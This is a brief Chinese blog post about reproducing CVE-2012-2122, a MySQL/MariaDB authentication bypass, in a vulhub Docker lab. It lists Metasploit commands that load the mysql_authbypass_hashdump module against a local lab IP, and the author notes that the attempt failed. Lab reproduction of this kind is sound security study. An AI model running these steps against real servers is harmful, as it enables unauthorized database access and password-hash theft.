CVE-2012-2122 mysql/mariaDB身份认证漏洞_mysql身份认证漏洞

作者：酷酷是懒虫 | 2024-08-16 07:51:27

踩

mysql身份认证漏洞

当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，不断的尝试登录连接，回导致MySQL认为两个密码是相同的。也就是说只要知道用户名，不断尝试就能够直接登入SQL数据库。

影响范围#所有的Mariadb和mysql版本:5.1.61、5.0.11、5.3.5、5.5.22

下载安装vulhub靶场环境

使用docker-compose 创建靶场环境。

search CVE-2012-2122

use auxiliary/scanner/mysql/mysql_authbypass_hashdump

set rhosts 192.168.44.128

run

不知道为什么没跑出来

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/酷酷是懒虫/article/detail/987213